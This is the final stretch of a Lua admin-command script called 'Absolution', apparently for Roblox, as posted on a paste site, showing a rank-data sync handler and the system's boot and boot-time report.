  4453. --Absolution.Functions.Output(Speaker, Error, 'Really red')
  4454. Absolution.Functions.Out(Speaker, Error, 4)
  4455. else
  4456. --Absolution.Functions.Output(Speaker, "Attempting to sync data for "..v.Name, 'White', nil, 8)
  4457. end
  4458. end
  4459. end
  4460. else
  4461. Absolution.Functions.Out(Speaker,'Synchronizing Data.', 2)
  4462. Absolution.Functions.syncRanksOut()
  4463. --Absolution.Functions.Output(Speaker, 'Data syncronized!', 'Lime green', nil, 8)
  4464. Absolution.Functions.Out(Speaker,'Data syncronized!', 5)
  4465. end
  4466. end)
  4467. --------- Start Script -----------------------
  4468. Absolution.Functions:Boot()
  4469. local end_time = tick()
  4470. Absolution.bootTime = (end_time-start_time)
  4471. --Absolution.Functions.Output('Admins','Absolution booted in '..Absolution.bootTime..' seconds.','Bright violet',nil,60)
  4472. Absolution.Functions.Out('Admins','Absolution booted in '..Absolution.bootTime..' seconds.',5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement